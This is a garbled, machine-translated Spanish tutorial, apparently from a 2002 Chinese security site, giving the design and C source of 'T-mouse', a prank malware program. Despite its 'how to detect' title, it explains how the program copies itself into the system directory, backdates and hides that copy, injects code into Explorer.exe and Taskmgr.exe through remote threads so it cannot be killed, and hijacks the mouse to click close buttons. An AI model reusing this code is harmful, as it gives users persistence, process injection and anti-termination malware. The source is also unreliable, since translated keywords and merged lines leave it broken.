¿Cómo detectar programas de tres subprocesos como t-mouse?
Descargar: < ame, 0);
// Reinicia nuestro archivo ejecutable
4. Obtenga el ID del proceso: Processtopid
EnumProcesses(lpidprocesses,sizeof(lpidprocesses), &cbneeded(cbneeded), &cbneeded(cbneeded), &cbneeded(cbneeded)) &cbneeded);
//enumerar todos los procesos
OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,lpidprocesses[i]);
// Abre el proceso como información de consulta y lee para abrir el proceso
EnumProcessModules(hprocess,&hmodule,sizeof (hmodule ),&cbneeded);
// Obtener el identificador del módulo de proceso
GetModuleBaseName(hprocess,hmodule,normalname,sizeof(normalname));
/ / Obtenga el nombre de un módulo específico para comparar
5. Cree un hilo remoto: createmote
OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,remotepid);
//PROCESS_CREATE_THREAD para CreateRemoteThread
//PROCESS_VM_OPERATION para VirtualAllocEx
//PROCESS_VM_WRITE para WriteProcessMemory
VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE ) ;
//Asigna espacio en el proceso remoto para colocar el código del hilo en él;
WriteProcessMemory( rphandle,remotethr,(LPVOID)remote,cb,NULL);
//Escribe el código del hilo remoto en el espacio de direcciones del proceso remoto
WriteProcessMemory( rphandle,remotepar,( LPVOID)&rp,cb,NULL);
/ /Escribe los parámetros requeridos por el hilo remoto en el espacio de direcciones del proceso remoto
CreateRemoteThread(rphandle,NULL,0,(LPTHREAD_START_ROUTINE) remotethr,(LPVOID)remotepar,0,NULL);
p>//Crear hilo de monitoreo remoto
IV.Resumen y postscript
Como podemos ver, se crean tres hilos para proteger mejor el programa en sí cuando se cerró y eliminado.
Los dos subprocesos de trabajo se monitorean entre sí en tiempo real y recrean el subproceso o proceso cuando se cierra el objeto monitoreado. De hecho, en el programa, elegimos que los procesos remotos residan en Explorer.exe y Taskmgr.exe. Normalmente, si el usuario sabe que el hilo remoto está en el administrador de recursos, abrirá el administrador de tareas y finalizará el administrador de recursos, y luego colocaremos el hilo remoto en el administrador de tareas. En otras palabras, es imposible finalizar el proceso principal mientras exista el Explorador o el Administrador de tareas. Si tiene otras herramientas para eliminar procesos, puede desactivarlas. Mientras Explorer y Taskmgr no estén presentes, no habrá una agencia residente para mantener el proceso remoto. Sin embargo, si el proceso remoto que elegimos es aleatorio, no es fácil de detectar. Si el proceso remoto que elegimos es un archivo del sistema (como el administrador de sesiones smss.exe), a menos que el sistema falle, no podrá hacerlo. Finalice de forma segura el hilo remoto.
¿Cómo puedo cerrarlo y eliminarlo sin utilizar otras herramientas? También puede ingresar a DOS o al modo seguro, eliminar el archivo ejecutable del directorio del sistema y luego reiniciar el sistema. En este momento, el programa no se ejecutará automáticamente y las claves relevantes bajo la clave RUN en el registro, los archivos de respaldo en el directorio del sistema y los archivos ejecutables eliminados cuando se ejecuta por primera vez se borrarán por completo. Al depurar el programa, para comprender el estado de ejecución del subproceso remoto, utilizamos la herramienta Dbgview.exe.
Cinco > con código fuente
#define UNICODE
#define _UNICODE
#include
#include
#include
#include
typedef struct _remoteparameter p> p>
{
DWORD rpoutputdebugstring;
DWORD rpopenprocess;
DWORD rpwaitforsingleobject;
DWORD rpfindfirstfile; p>
DWORD rpcopyfile;
DWORD rpfindclose;
DWORD rpwinexec;
DWORD rpmousepid;
HANDLE rpprocesshandle; p>
HANDLE rpfilehandle;
TCHAR rptname[MAX_PATH];
TCHAR rpkname[MAX_PATH];
char rpwinexecname[MAX_PATH];
WIN32_ FIND_DATA rpfdata;
TCHAR rpoperror[30];
TCHAR rpffferror[30];
TCHAR rpcferror[30];
TCHAR rpfcerror[30];
TCHAR rpweerror[30];
TCHAR rpstring[30];
TCHAR rpwfsosignal[30];
}PARAMETRO REMOTO, *PARAMETRO PREMOTE;
Remoto DWORD WINAPI(LPVOID pvparam);
Reloj DWORD WINAPI(LPVOID pvparam);
DWORD Processtopid( TCHAR *nombre del proceso);
HANDLE createeremote(PTSTR,PTSTR
void start(void);
HANDLE wthread;
TCHAR *name1=_T("\\T-mouse.exe");
TCHAR *name2=_T ("\kernel.dll"); )
{
WIN32_FIND_DATA fdata;
HANDLE ffhandle;
HANDLE fchandle
SYSTEMTIME stime; /p >
FILETIME ftime;
TCHAR syspath[MAX_PATH];
TCHAR curname[MAX_PATH]
TCHAR tname[MAX_PATH]; p>
TCHAR nombre[MAX_PATH];
int ret;
HANDLE rthread;
HWND hwnd;
RECT rt;
PUNTO ptnew;
TCHAR título[250];
start();
ret=GetSystemDirectory(syspath,MAX_PATH);
if(ret==0)
{
_tprintf(_T("Error de GetSystemDirectory: %d\n" ),GetLastError());
getche();
return -1;
}
_tcscpy(kname,syspath);
_tcscat(kname,name1);
_tcscpy(kname,syspath);
_tcscat(kname,name2);
ffhandle=FindFirstFile(tname,&fdata);
if(ffhandle= =INVALID_HANDLE_ VALUE)
{
if(GetLastError()==2)
{
ret=GetCurrentDirectory(MAX_PATH,curname );
if(ret==0)
{
_tprintf(_T("Error de GetCurrentDirectory: %d\n"),GetLastError()) ;
getche();
return -1;
}
_tcscat(curname,name1 );
if(!CopyFile(curname,tname,TRUE))
{
_tprintf(_T("CopyFile %s Error: %d\n"),tname,GetLastError( ));
getche()
return -1;
}
else
{
_tprintf(_T("FindFirstFile %s Error: %d\n"),tname,GetLastError());
getche()
return - 1;
}
}
si no (! FindClose(ffhandle)))
{
_tprintf(_T("FindClose %s Error: %d\n"), tname,GetLastError());
getche();
return -1;
}
ffhandle=FindFirstFile(kname,&fdata);
if( ffhandle== INVALID_HANDLE_VALUE)
{
if(GetLastError()==2)
{
ret=GetCurrentDirectory(MAX_PATH, nombre de usuario);
if(ret==0 )
{
<p> _tprintf(_T("Error GetCurrentDirectory: %d\n"),GetLastError());
getche();
devuelve -1;
}
_ tcscat(curname,nombre1);
if(!CopyFile(curname,kname,TRUE))
{
_tprintf(_T("CopyFile %s Error: %d\n"),kname, GetLastError());
getche()
return -1;
}
fchandle=CreateFile(kname,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(fchandle==INVALID_HANDLE_VALUE)
{
_tprintf(_T("CreateFile %s Error: %d\n") ,kname,GetLastError());
getche();
return -1;
}
memset(&stime,0,sizeof(stime));
stime.wYear=2002;
stime.wMonth=1;
stime.wDay=12;
stime.wDayOfWeek=5;
stime.wHour =1;
if(!SystemTimeToFileTime(&.stime,&ftime))
{
_tprintf(_T("Error SystemTimeToFileTime: %d\n" ),GetLastError());
CloseHandle(fchandle);
getche();
return -1;
}
if(!SetFileTime(fchandle,&ftime,NULL,&ftime))
{
_tprintf(_T(" Error de SetFileTime: %d\n"), GetLastError());
CloseHandle(fchandle);
getche();
return -1;
}
if(!SetFileAttributes(kname, FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM ))
{
_tprintf(_T(" Error de SetFileAttributes: %d\n"),GetLastError( ));
CloseHandle(fchandle);
getche();
return -1;
}
CloseHandle(fchandle);
}
más
{
_tprintf(_T("FindFirstFile %s Error: %d\n"),kname,GetLastError());
getche()
return -1;
}
}
else if(!FindClose(ffhandle))
{
_tprintf(_T( "FindClose %s Error: %d\n"), kname,GetLastError());
getche()
return -1;
}
if((rthread=createremote(tname,kname))==NULL)
{
_ tprintf(_T("CreateRemote Error\n")
getche();
return -1;
}
wthread=CreateThread(NULL,0,watch,( LPVOID) rthread,0,NULL);
if(wthread==NULL)
{
_tprintf(_T("CreateThread Error: %d\n "),GetLastError());
CloseHandle( rthread);
getche();
Devuelve -1;
}
while(1)
{
hwnd=GetForegroundWindow();
GetWindowRect( hwnd,&rt);
GetCursorPos(&ptnew);
if(ptnew.x ptnew.x+=3; else if( ptnew.x>rt.right -12) ptnew.x-=3; if(ptnew.y ptnew.y+=3; else if(ptnew.y>rt.top+15) ptnew.y-=3; ptnew.y -=3; SetCursorPos(ptnew.x,ptnew.y); if((ptnew.x>=rt.right-15) && (ptnew.x<= rt.right-12) && (ptnew.y>. =rt.top+12) && (ptnew.y<=rt.top+15) && (_tcslen( título!) =0)) { mouse_event(MOUSEEVENTF_LEFTDOWN,ptnew.x,ptnew.y,0,0); mouse_event(MOUSEEVENTF_LEFTUP, ptnew.x,ptnew. } Dormir(1); } getche(); p> devolver 0; } Proceso DWORD topid(TC HAR *nombre de proceso) { DWORD lpidprocesses[1024],cbneeded,cprocesses; HANDLE hprocess; HMODULE hmodule; UINT i; TCHAR nombre normal[MAX_ PATH]=_T("UnknownProcess"); if(!EnumProcesses(lpidprocesses,sizeof(lpidprocesses),&cbneeded )) { _tprintf(_T("Error de EnumProcesses: %d\n"),GetLastError()); return -1 ; p> p> } cprocesses=cbneeded/sizeof(DWORD); for(i=0;i<.cprocesses;i++) { hprocess=OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,lpidprocesses[i]); if( hprocess) { if( EnumProcessModules(hprocess,&hmodule,sizeof(hmodule),&cbneeded)) { GetModuleBaseName(hprocess,hmodule,normalname,sizeof(normalname)); if(!_tcsicmp(normalname,processname))) { CloseHandle(hprocess); return (lpidprocesses[i]); } } } } CloseHandle(hprocess); devuelve 0; } HANDLE createremote(PTSTR ctname,PTSTR ckname) { HANDLE ethread; p> HANDLE rphandle; TCHAR nombre[2][15]; TCHAR *remotethr TCHAR *remotepar DWORD remotopid; int cb; int señal; HINSTANCE hkernel32; REMOTEPARAMETER rp; _tcscpy (nombre[0],_T("Explorer.exe")); _ tcscpy(nombre[1],_T("Taskmgr.exe")); señal= 1; while(1) { remotepid=processtopid(nombre[(++señal)%2]); p> if(remotepid==-1) { regresar NULL; } else if(remotepid==0) { OutputDebugString(_T("El proceso remoto no es corriendo\n")); Sleep(1000); continuar; } rphandle=OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_ OPERACIÓN | PROCESS_VM_WRITE, FALSE,remotepid); if(rphandle==NULL) { Dormir(1000); continuar; } más { romper } } cb=sizeof(TCHAR)*4*1024; remotothr=(PTSTR)VirtualAllocEx(rphandle,NULL,cb, MEM_COMMIT,PAGE_EXECUTE_READWRITE if(remotethr==NULL) { _tprintf(_T("VirtualAllocEx para error de subproceso: %d\n"), GetLastError()); CloseHandle(rphandle); return NULL; } if(WriteProcessMemory(rphandle,remotethr,(LPVOID) remoto,cb,NULL)= =FALSE) { _tprintf(_T("WriteProcessMemory para error de subproceso: %d\n"),GetLastError()); CloseHandle( rphandle ); return NULL; } { memset(&rp,0,sizeof(rp)); rp.rpfcerror,_T("FindClose Error\n")); _tcscpy(rp.rpfcerror,_T("FindClose Error\n")); _tcscpy(rp.rpffferror,_T("FindFirstFile Error\n")); _tcscpy(rp.rpoperror,_T("OpenProcess Error\n") ); _tcscpy( rp.rpweerror,_T("WinExec Error\n")); _tcscpy(rp.rpwfsosignal,_T("Estoy fuera del proceso remoto\n")); _tcscpy( rp.rptname,ctname); _tcscpy(rp.rpkname,ckname); WideCharToMultiByte(CP_ACP,0,ctname,-1,rp.rpfindclose=(DWORD) GetProcAddress(hkernel32, "BuscarCerrar"); rp.rpwinexec=(DWORD)GetProcAddress(hkernel32, "WinExec"); } cb=sizeof(TCHAR)*sizeof(rp); remotepar=(PTSTR) VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_READWRITE); if(remotepar==NULL) { _tprintf(_T("VirtualAllocEx para error de parámetro:%d\n"),GetLastError()); CloseHandle(rphandle); devuelve NULL; p> p> } if(WriteProcessMemory(rphandle,remotepar,(LPVOID)&rp,cb,NULL)==FALSE) { _tprintf (_T("WriteProcessMemory para error de parámetro:%d\n"),GetLastError(); CloseHandle(rphandle); devuelve NULL; } ethread=CreateRemoteThread(rphandle,NULL,0,(LPTHREAD_START_ROUTINE) remotethr,(LPVOID)remotepar,0,NULL); if(ethread==NULL) { _tprintf(_T("CreateRemoteThread Error: %d\n"), GetLastError()); CloseHandle(rphandle); devolver NULL; } devolver ethread; } inicio vacío() { - --[ Página de inicio: www.safechina.net ]---\n")); _tprintf(_T("--[ Fecha: 27-11-2002 ]---\n \n